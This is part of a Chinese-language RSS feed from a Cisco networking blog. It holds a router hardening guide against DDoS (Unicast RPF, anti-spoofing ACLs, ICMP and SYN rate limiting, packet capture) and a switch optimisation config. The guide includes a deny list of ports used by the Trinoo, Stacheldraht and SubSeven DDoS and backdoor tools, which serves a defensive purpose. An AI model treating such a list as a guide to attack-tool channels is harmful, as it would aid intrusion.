		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;到目前为止，进行DDoS攻击的防御还是比较困难的。首先，这种攻击的特点是它利用了TCP/IP协议的漏洞，除非你不用TCP/IP，才有可能完全抵御住DDoS攻击。 一位资深的安全专家给了个形象的比喻：DDoS就好象有1,000个人同时给你家里打电话，这时候你的朋友还打得进来吗？<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;不过即使它难于防范，也不是说我们就应该逆来顺受，实际上防止DDoS并不是绝对不可行的事情。对Cisco路由器我们可以首先在路由器上打开CEF功能（Cisco Express Forwarding）、使用Unicast RPF （Unicast Reverse Path Forwarding），然后利用访问控制列表（ACL）过滤并设置SYN数据包流量速率或通过升级版本过低的ISO、为路由器建立log server等措施来建立安全防范。具体的使用方法是：<br/><br/>1、使用 ip verfy unicast reverse-path 网络接口命令 <br/>　　这个功能检查每一个经过路由器的数据包。在路由器的CEF（Cisco Express Forwarding）表该数据包所到达网络接口的所有路由项中，如果没有该数据包源IP地址的路由，路由器将丢弃该数据包。例如，路由器接收到一个源IP地址为1.2.3.4的数据包，如果 CEF路由表中没有为IP地址1.2.3.4提供任何路由（即反向数据包传输时所需的路由），则路由器会丢弃它。 <br/>　　单一地址反向传输路径转发（Unicast Reverse Path Forwarding）在ISP（局端）实现阻止SMURF攻击和其它基于IP地址伪装的攻击。这能够保护网络和客户免受来自互联网其它地方的侵扰。使用Unicast RPF 需要打开路由器的&#34;CEF swithing&#34;或&#34;CEF distributed switching&#34;选项。不需要将输入接口配置为CEF交换（switching）。只要该路由器打开了CEF功能，所有独立的网络接口都可以配置为其它交换（switching）模式。RPF（反向传输路径转发）属于在一个网络接口或子接口上激活的输入端功能，处理路由器接收的数据包。 <br/>　　在路由器上打开CEF功能是非常重要的，因为RPF必须依靠CEF。Unicast RPF包含在支持CEF的Cisco IOS 12.0 及以上版本中，但不支持Cisco IOS 11.2或11.3版本。 <br/><br/>2、使用访问控制列表（ACL）过滤RFC 1918中列出的所有地址 <br/>　　参考以下例子： <br/>　　interface xy <br/>　　ip access-group 101 in <br/>　　access-list 101 deny ip 10.0.0.0 0.255.255.255 any <br/>　　access-list 101 deny ip 192.168.0.0 0.0.255.255 any <br/>　　access-list 101 deny ip 172.16.0.0 0.15.255.255 any <br/>　　access-list 101 permit ip any any <br/><br/>3、参照RFC 2267，使用访问控制列表（ACL）过滤进出报文 <br/>　　参考以下例子： <br/>　　{ISP中心} -- ISP端边界路由器 -- 客户端边界路由器 -- {客户端网络} <br/>　　ISP端边界路由器应该只接受源地址属于客户端网络的通信，而客户端网络则应该只接受源地址未被客户端网络过滤的通信。以下是ISP端边界路由器的访问控制列表（ACL）例子： <br/>　　access-list 190 permit ip {客户端网络} {客户端网络掩码} any <br/><br/>　　access-list 190 deny ip any any [log] <br/>　　interface {内部网络接口} {网络接口号} <br/>　　ip access-group 190 in <br/>　　以下是客户端边界路由器的ACL例子： <br/>　　access-list 187 deny ip {客户端网络} {客户端网络掩码} any <br/>　　access-list 187 permit ip any any <br/>　　access-list 188 permit ip {客户端网络} {客户端网络掩码} any <br/>　　access-list 188 deny ip any any <br/>　　interface {外部网络接口} {网络接口号} <br/>　　ip access-group 187 in <br/>　　ip access-group 188 out <br/>　　如果打开了CEF功能，通过使用单一地址反向路径转发（Unicast RPF），能够充分地缩短访问控制列表（ACL）的长度以提高路由器性能。为了支持Unicast RPF，只需在路由器完全打开CEF；打开这个功能的网络接口并不需要是CEF交换接口。<br/><br/>4、使用CAR（Control Access Rate）限制ICMP数据包流量速率 <br/>　　参考以下例子： <br/>　　interface xy <br/>　　rate-limit output access-group 2020 3000000 512000 786000 conform-action <br/>　　transmit exceed-action dro&#112; <br/>　　access-list 2020 permit icmp any any echo-reply <br/><br/>5、设置SYN数据包流量速率 <br/>　　interface {int} <br/>　　rate-limit output access-group 153 45000000 100000 100000 conform-action <br/>　　transmit exceed-action dro&#112; <br/>　　rate-limit output access-group 152 1000000 100000 100000 conform-action <br/>　　transmit exceed-action dro&#112; <br/>　　access-list 152 permit tcp any host eq www <br/>　　access-list 153 permit tcp any host eq www established <br/>　　在实现应用中需要进行必要的修改，替换： <br/>　　45000000为最大连接带宽 <br/>　　1000000为SYN flood流量速率的30%到50%之间的数值。 <br/>　　burst normal（正常突变）和 burst max（最大突变）两个速率为正确的数值。 <br/>　　注意，如果突变速率设置超过30%，可能会丢失许多合法的SYN数据包。使用&#34;show interfaces rate-limit&#34;命令查看该网络接口的正常和过度速率，能够帮助确定合适的突变速率。这个SYN速率限制数值设置标准是保证正常通信的基础上尽可能地小。 <br/>　　警告：一般推荐在网络正常工作时测量SYN数据包流量速率，以此基准数值加以调整。必须在进行测量时确保网络的正常工作以避免出现较大误差。 <br/>　　另外，建议考虑在可能成为SYN攻击的主机上安装IP Filter等IP过滤工具包。 <br/><br/>6、搜集证据并联系网络安全部门或机构 <br/>　　如果可能，捕获攻击数据包用于分析。建议使用SUN工作站或Linux等高速计算机捕获数据包。常用的数据包捕获工具包括TCPDump和snoop等。基本语法为： <br/>　　tcpdump -i interface -s 1500 -w capture_file <br/>　　snoop -d interface -o capture_file -s 1500 <br/>　　本例中假定MTU大小为1500。如果MTU大于1500，则需要修改相应参数。将这些捕获的数据包和日志作为证据提供给有关网络安全部门或机构。 <br/><br/>为了防止利用IP Spoofing手段假冒源地址进行的DoS攻击对整个网络造成的冲击。主要配置在边缘路由设备（即直接与终端用户网络互连的路由设备）上，根据用户网段规划添加源路由检查。<br/><br/>针对不同DDOS攻击的端口进行过滤，在实施时必须探测到DDOS攻击的端口。<br/>! The TRINOO DDoS system<br/>Router(Config)# access-list 113 deny tcp any any eq 27665 log<br/>Router(Config)# access-list 113 deny udp any any eq 31335 log<br/>Router(Config)# access-list 113 deny udp any any eq 27444 log<br/>! The Stacheldtraht DDoS system <br/>Router(Config)# access-list 113 deny tcp any any eq 16660 log<br/>Router(Config)# access-list 113 deny tcp any any eq 65000 log<br/>! The TrinityV3 System<br/>Router(Config)# access-list 113 deny tcp any any eq 33270 log<br/>Router(Config)# access-list 113 deny tcp any any eq 39168 log<br/>! The SubSeven DDoS system and some Variants<br/>Router(Config)# access-list 113 deny tcp any any range 6711 6712 log<br/>Router(Config)# access-list 113 deny tcp any any eq 6776 log<br/>Router(Config)# access-list 113 deny tcp any any eq 6669 log<br/>Router(Config)# access-list 113 deny tcp any any eq 2222 log<br/>Router(Config)# access-list 113 deny tcp any any eq 7000 log<br/>Router(Config)# interface eth 0/2<br/>Router(Config-if)# ip access-group 113 in<br/><br/>DDOS是利用TCP协议的漏洞, 目前没有什么有效的手段防护，笔者认为最有效的方法就是拼资源, 其次可以加个firewall。DDOS多是有目的的攻击, 是很难防护的，基本上，路由器防范DoS攻击的能力还是很弱的，尽管我们在路由器上采取了适当措施，以上配置不建议在核心和汇聚层设备上实行。遇到问题时一种快速的手段, 就是利用2分法, 快速的查出它的来源地址, 然后封掉它。<br/><br/>因此，防止各种DoS攻击是非常必要的。用户需要注意的是，以上介绍的几种方法，对付不同类型的DoS攻击的能力是不同的，对路由器CPU和内存资源的占用也有很大差别，在实际环境中，用户需要根据自身情况和路由器的性能来选择使用适当的方式。]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2068.htm</link>
			<title><![CDATA[Switch优化配置]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Fri,22 Aug 2008 12:01:37 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2068</guid>
		<description><![CDATA[/***********************交换机优化配置*************************/<br/>int range f<br/>spanning-tree backbonefast&nbsp;&nbsp;&nbsp;&nbsp;/****在所有交换机上设置<br/>spanning-tree uplinkfast&nbsp;&nbsp;&nbsp;&nbsp;/****在与核心交换机连接的交换机上行链路端口设置<br/>!<br/>spanning-tree portfast<br/>spanning-tree portfast bpduguard&nbsp;&nbsp;&nbsp;&nbsp;/****如果该端口连接了非授权设备，则端口无效，<br/>!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设备进入ERR-DISABLE状态，需要手工重新启动。<br/>spanning-tree portfast bpdufilter default&nbsp;&nbsp;&nbsp;&nbsp;/****如果全局配置，则如果端口接受到BPDU，<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;则该端口丢弃portfast特性，改为正常的STP操作，<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果在端口配置，则端口丢弃BPDU。<br/>!<br/>int g1/0/1<br/> spanning-tree guard root&nbsp;&nbsp;&nbsp;&nbsp;/****在所有接入上层交换机的交换机上配置<br/>!<br/>errdisable detect cause all&nbsp;&nbsp;&nbsp;&nbsp;/****启用对错误的检测<br/>errdisable recovery cause all&nbsp;&nbsp;&nbsp;&nbsp;/****启用自动恢复<br/>errdisable recovery interval 60&nbsp;&nbsp;&nbsp;&nbsp;/****自动恢复时间间隔<br/>!<br/>int g2/1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/***********检测交换机端口的单向链路<br/> udld port aggressive<br/>int g2/2<br/> udld port aggressive<br/> exit<br/>!<br/>int g1/1<br/> flowcontrol receive desired&nbsp;&nbsp;&nbsp;&nbsp;/****是否处理接受到的暂停侦<br/> flowcontrol send desired&nbsp;&nbsp;&nbsp;&nbsp;/****表示发生拥塞的时候是否发送暂停侦<br/> exit<br/>!<br/>protocol-filtering&nbsp;&nbsp;&nbsp;&nbsp;/****在端口上过滤协议<br/>int range g2/1 -2<br/> switchport protocol appletalk off<br/> switchport protocol ip off<br/> switchport protocol ipx on<br/>!<br/>int range g2/1 -2&nbsp;&nbsp;&nbsp;&nbsp;/****广播和多播抑制，只允许5%的广播和多播流量<br/> storm-control broadcast level 5<br/> storm-control multicast level 5]]></description>
		</item>
		
</channel>
</rss>
